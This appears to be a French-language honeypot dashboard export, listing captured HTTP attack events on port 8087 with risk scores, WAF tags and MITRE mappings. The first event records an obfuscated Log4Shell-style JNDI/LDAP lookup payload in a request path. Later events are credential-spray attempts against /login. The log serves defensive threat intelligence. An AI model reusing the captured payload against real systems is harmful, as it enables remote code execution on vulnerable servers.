"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 82,
"http_header_count": 5,
"http_query_params": 0,
"http_path_depth": 3,
"http_path_ext": "}${svf:4r:-g}${0cno:67:-o}${r:-o}${fe:-g}}",
"http_ua_hash": "9468a4a53a2f2fd9ea96db22dc9dd9bb6ce38b7c",
"http_host_hash": "23dd08f746fb09fb08372c318f4fc3071fcf4424",
"http_target_hash": "1b12493e230fb9d2834f414eb64105a5a45a4e22",
"http_referer_hash": null,
"http_method": "PUT",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 4096,
"payload_entropy": 4.875102655455046,
"port_category": "registered",
"org": "Google LLC",
"service": "http",
"app_proto": "http",
"asn": 396982,
"country": "US",
"dst_port": 8087,
"risk_waf": 100,
"risk_classification": 85,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 0,
"risk_granularity": 6.8,
"risk_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25
},
"risk_score": 71,
"tag_count": 7,
"anomaly_count": 0,
"campaign_key": "4db0a16e23117ab19836f1b3cee943a2667782be",
"event_fingerprint": "d113b5f441c0419a3e82d01882f61973815843c1",
"classification_reason": "Type \u00ab deser_php_attack \u00bb (signaux protocolaires) \u00b7 confiance 95%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 86,
"precision_signals": [
"pat-0817"
],
"kb_rule_ids": [
"pat-0817"
],
"matched_patterns": [
"pat-0817",
"pat-0162"
],
"matched_pattern_names": [
"ET PHP serialize O:",
"CRS 933135"
],
"pattern_ids": [
"pat-0817",
"pat-0162"
],
"confidence_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 71,
"correlation_boost": 18
},
"named_classification_skipped": false,
"service_name": "http",
"risk_confidence_factor": 95,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 396982,
"org": "Google LLC",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "2994862c1f8176879ed381354c9dd245",
"payload_hash": "0c206755a08fa9ffe64f9b26366704e7",
"path_pattern_hash": "dd69004b594873991b51a2594f1cbad7"
},
"target_context": {
"dst_port": 8087,
"service": "http",
"service_name": "http",
"risk_score": 71
},
"method": "PUT",
"path": "\/${${2:l7m:-j}${j8em:o4:i6k:-n}${iw:4xfj:0avg:-d}${d:-i}${sm:p8uw:x5g0:-:}${jas4:zj:-l}${7b39:3:-d}${pa6b:1:-a}${7u:u:-p}${x3:o17:jz:-:}${t3o:fja:-\/}${5zsw:-\/}${h90r:qjd:-P}${j:2:-A}${wrz:-l}${e36:o:qa:-0}${ah:25:x:-c}${rgml:--}${${r:b:0:-s}${c:56:5bd:-y}${8r5s:rjol:-s}${w1:-:}${l:s9:8kun:-j}${xjf0:v:-a}${g3:suv:-v}${qzde:5wz0:po:-a}${in:l2:b7:-.}${4f5:8q24:k:-v}${s:s8g:92pk:-e}${3tz:etzb:xolj:-r}${y4v:yqnd:e0:-s}${jn:w:-i}${qot:-o}${d0n:s:m39:-n}}${b:xlbm:o7z:-.}${o6:2p:b:-4}${fba1:g6wp:-e}${y:-b}${5:n:q1:",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950324:rce-0",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"rce-0",
"nosqli-3"
],
"request_line": "PUT \/${${2:l7m:-j}${j8em:o4:i6k:-n}${iw:4xfj:0avg:-d}${d:-i}${sm:p8uw:x5g0:-:}${jas4:zj:-l}${7b39:3:-d}${pa6b:1:-a}${7u:u:-p}${x3:o17:jz:-:}${t3o:fja:-\/}${5zsw:-\/}${h90r:qjd:-P}${j:2:-A}${wrz:-l}${e36:o:qa:-0}${ah:25:x:-c}${rgml:--}${${r:b:0:-s}${c:56:5bd:-y}${8r5s:rjol:-s}${w1:-:}${l:s9:8kun:-j}${xjf0:v:-a}${g3:suv:-v}${qzde:5wz0:po:-a}${in:l2:b7:-.}${4f5:8q24:k:-v}${s:s8g:92pk:-e}${3tz:etzb:xolj:-r}${y4v:yqnd:e0:-s}${jn:w:-i}${qot:-o}${d0n:s:m39:-n}}${b:xlbm:o7z:-.}${o6:2p:b:-4}${fba1:g6wp:-e}${y:-b}${5:n",
"payload_snippet": "PUT \/${${2:l7m:-j}${j8em:o4:i6k:-n}${iw:4xfj:0avg:-d}${d:-i}${sm:p8uw:x5g0:-:}${jas4:zj:-l}${7b39:3:-d}${pa6b:1:-a}${7u:u:-p}${x",
"evidence": {
"method": "PUT",
"path": "\/${${2:l7m:-j}${j8em:o4:i6k:-n}${iw:4xfj:0avg:-d}${d:-i}${sm:p8uw:x5g0:-:}${jas4:zj:-l}${7b39:3:-d}${pa6b:1:-a}${7u:u:-p}${x3:o17:jz:-:}${t3o:fja:-\/}${5zsw:-\/}${h90r:qjd:-P}${j:2:-A}${wrz:-l}${e36:o:qa:-0}${ah:25:x:-c}${rgml:--}${${r:b:0:-s}${c:56:5bd:-y}${8r5s:rjol:-s}${w1:-:}${l:s9:8kun:-j}${xjf0:v:-a}${g3:suv:-v}${qzde:5wz0:po:-a}${in:l2:b7:-.}${4f5:8q24:k:-v}${s:s8g:92pk:-e}${3tz:etzb:xolj:-r}${y4v:yqnd:e0:-s}${jn:w:-i}${qot:-o}${d0n:s:m39:-n}}${b:xlbm:o7z:-.}${o6:2p:b:-4}${fba1:g6wp:-e}${y:-b}${5:n:q1:",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950324:rce-0",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"rce-0",
"nosqli-3"
],
"request_line": "PUT \/${${2:l7m:-j}${j8em:o4:i6k:-n}${iw:4xfj:0avg:-d}${d:-i}${sm:p8uw:x5g0:-:}${jas4:zj:-l}${7b39:3:-d}${pa6b:1:-a}${7u:u:-p}${x3:o17:jz:-:}${t3o:fja:-\/}${5zsw:-\/}${h90r:qjd:-P}${j:2:-A}${wrz:-l}${e36:o:qa:-0}${ah:25:x:-c}${rgml:--}${${r:b:0:-s}${c:56:5bd:-y}${8r5s:rjol:-s}${w1:-:}${l:s9:8kun:-j}${xjf0:v:-a}${g3:suv:-v}${qzde:5wz0:po:-a}${in:l2:b7:-.}${4f5:8q24:k:-v}${s:s8g:92pk:-e}${3tz:etzb:xolj:-r}${y4v:yqnd:e0:-s}${jn:w:-i}${qot:-o}${d0n:s:m39:-n}}${b:xlbm:o7z:-.}${o6:2p:b:-4}${fba1:g6wp:-e}${y:-b}${5:n",
"request_sample": "PUT \/${${2:l7m:-j}${j8em:o4:i6k:-n}${iw:4xfj:0avg:-d}${d:-i}${sm:p8uw:x5g0:-:}${jas4:zj:-l}${7b39:3:-d}${pa6b:1:-a}${7u:u:-p}${x3:o17:jz:-:}${t3o:fja:-\/}${5zsw:-\/}${h90r:qjd:-P}${j:2:-A}${wrz:-l}${e36:o:qa:-0}${ah:25:x:-c}${rgml:--}${${r:b:0:-s}${c:56:5bd:",
"payload_snippet": "PUT \/${${2:l7m:-j}${j8em:o4:i6k:-n}${iw:4xfj:0avg:-d}${d:-i}${sm:p8uw:x5g0:-:}${jas4:zj:-l}${7b39:3:-d}${pa6b:1:-a}${7u:u:-p}${x",
"classification_reason": "Type \u00ab deser_php_attack \u00bb (signaux protocolaires) \u00b7 confiance 95%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre": "TA0001",
"threat_family": [
"unknown"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "957da24a8b5d77e49cbad55c5d0b319246e82035",
"protocol_details": {
"http_method": "PUT",
"http_path": "\/${${2:l7m:-j}${j8em:o4:i6k:-n}${iw:4xfj:0avg:-d}${d:-i}${sm:p8uw:x5g0:-:}${jas4:zj:-l}${7b39:3:-d}${pa6b:1:-a}${7u:u:-p}${x3:o17:jz:-:}${t3o:fja:-\/}${5zsw:-\/}\u2026",
"request_line": "PUT \/${${2:l7m:-j}${j8em:o4:i6k:-n}${iw:4xfj:0avg:-d}${d:-i}${sm:p8uw:x5g0:-:}${jas4:zj:-l}${7b39:3:-d}${pa6b:1:-a}${7u:u:-p}${x3:o17:jz:-:}${t3o:fja:-\/}${5zsw:-\/}${h90r:qjd:-P}${j:2:-A}${wrz:-l}${e3\u2026",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 8087,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "PUT \/${${2:l7m:-j}${j8em:o4:i6k:-n}${iw:4xfj:0avg:-d}${d:-i}${sm:p8uw:x5g0:-:}${jas4:zj:-l}${7b39:3:-d}${pa6b:1:-a}${7u:u:-p}${x",
"attack_vector": "deser php attack \u00b7 via HTTP:8087 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/${${2:l7m:-j}${j8em:o4:i6k:-n}${iw:4xfj:0avg:-\u2026",
"target_port_label": "8087 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 95 % \u2014 Motif catalogue confirm\u00e9 \u00b7 4 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab deser_php_attack \u00bb (signaux protocolaires) \u00b7 confiance 95%",
"classification_reason_label_fr": "Type \u00ab deser_php_attack \u00bb (signaux protocolaires) \u00b7 confiance 95%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 71\/100 (\u00c9lev\u00e9) \u2014 MITRE TA0001 \u2014 confiance 100 % \u2014 via HTTP \u2014 multi-protocole (2 protocoles \u00b7 5 min)",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 71,
"correlation_boost": 18
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "reconnaissance",
"attack_chain_stage_label_fr": "Reconnaissance",
"risk_score": 71,
"risk_label": "\u00c9lev\u00e9",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8087,
"protocol_emulated": true,
"tags_summary": [
"pat-0817"
],
"tags_summary_labels_fr": [
"pat-0817"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "TA0001",
"mitre_technique": "TA0001",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": [
"scan_coordonn\u00e9",
"multi_protocol_correlation"
],
"correlation_flags_labels_fr": [
"Scan coordonn\u00e9",
"Multi-protocole corr\u00e9l\u00e9 (5 min)"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +18",
"protocol_details": {
"http_method": "PUT",
"http_path": "\/${${2:l7m:-j}${j8em:o4:i6k:-n}${iw:4xfj:0avg:-d}${d:-i}${sm:p8uw:x5g0:-:}${jas4:zj:-l}${7b39:3:-d}${pa6b:1:-a}${7u:u:-p}${x3:o17:jz:-:}${t3o:fja:-\/}${5zsw:-\/}\u2026",
"request_line": "PUT \/${${2:l7m:-j}${j8em:o4:i6k:-n}${iw:4xfj:0avg:-d}${d:-i}${sm:p8uw:x5g0:-:}${jas4:zj:-l}${7b39:3:-d}${pa6b:1:-a}${7u:u:-p}${x3:o17:jz:-:}${t3o:fja:-\/}${5zsw:-\/}${h90r:qjd:-P}${j:2:-A}${wrz:-l}${e3\u2026",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 8087,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "deser php attack \u00b7 via HTTP:8087 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/${${2:l7m:-j}${j8em:o4:i6k:-n}${iw:4xfj:0avg:-\u2026",
"evidence_snippet": "PUT \/${${2:l7m:-j}${j8em:o4:i6k:-n}${iw:4xfj:0avg:-d}${d:-i}${sm:p8uw:x5g0:-:}${jas4:zj:-l}${7b39:3:-d}${pa6b:1:-a}${7u:u:-p}${x",
"target_port_label": "8087 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 95 % \u2014 Motif catalogue confirm\u00e9 \u00b7 4 tag(s) WAF",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 100 \u00b7 Bonus corr\u00e9lation +18 \u00b7 4 tag(s) WAF",
"campaign_hint_fr": "Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.127.0\/24, \u22653 pairs)",
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "reconnaissance",
"label_fr": "Reconnaissance",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"meta_truncated": true,
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8087"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"multi_protocol_correlation": true,
"multi_protocol_count": 2,
"multi_protocol_sample": [
"http",
"http-alt-8087"
],
"multi_protocol_window_s": 300,
"coordinated_scan": true,
"coordinated_subnet": "34.19.127.0\/24",
"coordinated_ip_count": 25,
"behavior_alerts": [
"coordinated_scan",
"multi_protocol_correlation"
],
"correlation_confidence_boost": 18,
"attack_chain_stage": "reconnaissance",
"ban_policy": "advisory_investigate",
"tags_list": [
"950324:rce-0",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3",
"http_dangerous_method",
"net_slowloris",
"net_web_probe"
],
"asn_dc_heuristic": true,
"behavior_alert_count": 1,
"behavior_priority": 96
}
30/07/2026 18:47:21 UTC
TCP
8087 · HTTP
Spray credentials
bruteforce credential spray · via HTTP:8087 · (sonde / probe) · → /login
Élevée
Élevé · 71
Détails
Voir
Étape
Sonde / probe
Chaîne
Reconnaissance
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Scan coordonné
Multi-protocole corrélé (5 min)
MITRE
T1078
TA0007
TA0001
Protocole
POST /login UA Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537…
Émulateur
HTTP
WAF
33
Recommandation
Investiguer
Tags
950326:rce-0
950327:rce-0
950383:rce-14
950470:nosqli-3
Cible HTTP
POST
/login
TLS SNI
—
Capteur
paris-1
Méthode
POST
Port
8087
Chemin / cible
/login
Pourquoi cette classification : Type « bruteforce_credential_spray » (signaux protocolaires) · confiance 100%
Confiance classification
100%
Corrélation +18
Risque capteur
Élevé
· 71
Confiance : Confiance 100 % — 5 tag(s) WAF
Protocole émulé
1 Signaux
MITRE-T1078
Beh Cred Stuff
Tactiques MITRE
TA0007
TA0001
Motifs de détection (base)
CRS 921130 duplicate CL
SSRF Any-address SSRF
Ligne de requête
POST /login HTTP/1.1
User-Agent
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Règles WAF
rce-0
rce-14
nosqli-3
Payload (extrait)
POST /login HTTP/1.1
Host: 62.3.50.33:8087
Accept: */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKi
Requête brute (extrait)
POST /login HTTP/1.1 Host: 62.3.50.33:8087 Accept: */* User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36 Content-Length: 2828 Content-Type: application/x-www-form-urlencod
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 82,
"http_header_count": 5,
"http_query_params": 0,
"http_path_depth": 1,
"http_path_ext": null,
"http_ua_hash": "9468a4a53a2f2fd9ea96db22dc9dd9bb6ce38b7c",
"http_host_hash": "23dd08f746fb09fb08372c318f4fc3071fcf4424",
"http_target_hash": "c42c80aa06113268fddf90dfdc871fb7318ff5cf",
"http_referer_hash": null,
"http_method": "POST",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 3090,
"payload_entropy": 4.510923530993212,
"port_category": "registered",
"org": "Google LLC",
"service": "http",
"app_proto": "http",
"asn": 396982,
"country": "US",
"dst_port": 8087,
"risk_waf": 100,
"risk_classification": 78,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 0,
"risk_granularity": 7.1,
"risk_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25
},
"risk_score": 71,
"tag_count": 8,
"anomaly_count": 0,
"campaign_key": "fad277561b67d112d5e6e307dd2637df31f715a0",
"event_fingerprint": "e20a3e7cc9c8ef96b9712e646001320451341954",
"classification_reason": "Type \u00ab bruteforce_credential_spray \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 121,
"precision_signals": [
"MITRE-T1078",
"INT-beh-cred-stuff"
],
"kb_rule_ids": [
"MITRE-T1078",
"INT-beh-cred-stuff"
],
"matched_patterns": [
"pat-0842",
"pat-0324"
],
"matched_pattern_names": [
"CRS 921130 duplicate CL",
"SSRF Any-address SSRF"
],
"pattern_ids": [
"pat-0842",
"pat-0324"
],
"confidence_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 71,
"correlation_boost": 18
},
"named_classification_skipped": false,
"classification_parent": "credential_stuffing",
"service_name": "http",
"risk_confidence_factor": 100,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 396982,
"org": "Google LLC",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "2994862c1f8176879ed381354c9dd245",
"payload_hash": "8ad76153052b3a3450e1f214a8482dff",
"path_pattern_hash": "7e93fba0bc7adda858a2500090e639e4"
},
"target_context": {
"dst_port": 8087,
"service": "http",
"service_name": "http",
"risk_score": 71
},
"payload_preview": "POST \/login HTTP\/1.1\r\nHost: 62.3.50.33:8087\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKi",
"method": "POST",
"path": "\/login",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950326:rce-0",
"950327:rce-0",
"950383:rce-14",
"950470:nosqli-3",
"950471:nosqli-3"
],
"waf_rule_names": [
"rce-0",
"rce-14",
"nosqli-3"
],
"request_line": "POST \/login HTTP\/1.1",
"request_sample": "POST \/login HTTP\/1.1\r\nHost: 62.3.50.33:8087\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\nContent-Length: 2828\r\nContent-Type: application\/x-www-form-urlencod",
"payload_snippet": "POST \/login HTTP\/1.1\r\nHost: 62.3.50.33:8087\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKi",
"evidence": {
"method": "POST",
"path": "\/login",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950326:rce-0",
"950327:rce-0",
"950383:rce-14",
"950470:nosqli-3",
"950471:nosqli-3"
],
"waf_rule_names": [
"rce-0",
"rce-14",
"nosqli-3"
],
"request_line": "POST \/login HTTP\/1.1",
"request_sample": "POST \/login HTTP\/1.1\r\nHost: 62.3.50.33:8087\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\nContent-Length: 2828\r\nContent-Type: application\/x-www-form-urlencod",
"payload_snippet": "POST \/login HTTP\/1.1\r\nHost: 62.3.50.33:8087\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKi",
"classification_reason": "Type \u00ab bruteforce_credential_spray \u00bb (signaux protocolaires) \u00b7 confiance 100%"
},
"attack_stage": "probe",
"mitre_tactics": [
"TA0007",
"TA0001"
],
"mitre_techniques": [
"T1078",
"T1110"
],
"mitre": "T1078",
"threat_family": [
"unknown"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "803bfaa1f940712ff7bc5ce08be5efc8061d03e5",
"protocol_details": {
"http_method": "POST",
"http_path": "\/login",
"request_line": "POST \/login HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 8087,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "POST \/login HTTP\/1.1\r\nHost: 62.3.50.33:8087\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKi",
"attack_vector": "bruteforce credential spray \u00b7 via HTTP:8087 \u00b7 (sonde \/ probe) \u00b7 \u2192 \/login",
"target_port_label": "8087 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 5 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab bruteforce_credential_spray \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"classification_reason_label_fr": "Type \u00ab bruteforce_credential_spray \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 71\/100 (\u00c9lev\u00e9) \u2014 MITRE T1078 \u2014 confiance 100 % \u2014 via HTTP \u2014 multi-protocole (2 protocoles \u00b7 5 min)",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 71,
"correlation_boost": 18
},
"attack_stage": "probe",
"attack_stage_label": "Sonde \/ probe",
"attack_chain_stage": "reconnaissance",
"attack_chain_stage_label_fr": "Reconnaissance",
"risk_score": 71,
"risk_label": "\u00c9lev\u00e9",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8087,
"protocol_emulated": true,
"tags_summary": [
"MITRE-T1078",
"INT-beh-cred-stuff"
],
"tags_summary_labels_fr": [
"MITRE-T1078",
"Beh Cred Stuff"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "T1078",
"mitre_technique": "T1078",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": [
"scan_coordonn\u00e9",
"multi_protocol_correlation"
],
"correlation_flags_labels_fr": [
"Scan coordonn\u00e9",
"Multi-protocole corr\u00e9l\u00e9 (5 min)"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +18",
"protocol_details": {
"http_method": "POST",
"http_path": "\/login",
"request_line": "POST \/login HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 8087,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "bruteforce credential spray \u00b7 via HTTP:8087 \u00b7 (sonde \/ probe) \u00b7 \u2192 \/login",
"evidence_snippet": "POST \/login HTTP\/1.1\r\nHost: 62.3.50.33:8087\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKi",
"target_port_label": "8087 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 5 tag(s) WAF",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 100 \u00b7 Bonus corr\u00e9lation +18 \u00b7 5 tag(s) WAF",
"campaign_hint_fr": "Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.127.0\/24, \u22653 pairs)",
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": true,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "reconnaissance",
"label_fr": "Reconnaissance",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8087"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"multi_protocol_correlation": true,
"multi_protocol_count": 2,
"multi_protocol_sample": [
"http",
"http-alt-8087"
],
"multi_protocol_window_s": 300,
"coordinated_scan": true,
"coordinated_subnet": "34.19.127.0\/24",
"coordinated_ip_count": 25,
"behavior_alerts": [
"coordinated_scan",
"multi_protocol_correlation"
],
"correlation_confidence_boost": 18,
"attack_chain_stage": "reconnaissance",
"ban_policy": "advisory_investigate",
"tags_list": [
"950326:rce-0",
"950327:rce-0",
"950383:rce-14",
"950470:nosqli-3",
"950471:nosqli-3",
"http_credential_body",
"http_probe_login",
"net_web_probe"
],
"asn_dc_heuristic": true
}
30/07/2026 18:47:21 UTC
TCP
8087 · HTTP
Spray credentials
bruteforce credential spray · via HTTP:8087 · (sonde / probe) · → /login
Élevée
Élevé · 71
Détails
Voir
Étape
Sonde / probe
Chaîne
Reconnaissance
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Scan coordonné
Multi-protocole corrélé (5 min)
MITRE
T1078
TA0007
TA0001
Protocole
POST /login UA Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537…
Émulateur
HTTP
WAF
26
Recommandation
Investiguer
Tags
950326:rce-0
950327:rce-0
950470:nosqli-3
950471:nosqli-3
Cible HTTP
POST
/login
TLS SNI
—
Capteur
paris-1
Méthode
POST
Port
8087
Chemin / cible
/login
Pourquoi cette classification : Type « bruteforce_credential_spray » (signaux protocolaires) · confiance 100%
Confiance classification
100%
Corrélation +18
Risque capteur
Élevé
· 71
Confiance : Confiance 100 % — 4 tag(s) WAF
Protocole émulé
1 Signaux
MITRE-T1078
Beh Cred Stuff
Tactiques MITRE
TA0007
TA0001
Motifs de détection (base)
CRS 921130 duplicate CL
SSRF Any-address SSRF
Ligne de requête
POST /login HTTP/1.1
User-Agent
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Règles WAF
rce-0
nosqli-3
Payload (extrait)
POST /login HTTP/1.1
Host: 62.3.50.33:8087
Accept: */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKi
Requête brute (extrait)
POST /login HTTP/1.1 Host: 62.3.50.33:8087 Accept: */* User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36 Content-Type: application/json Content-Length: 1599 {"username"
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 82,
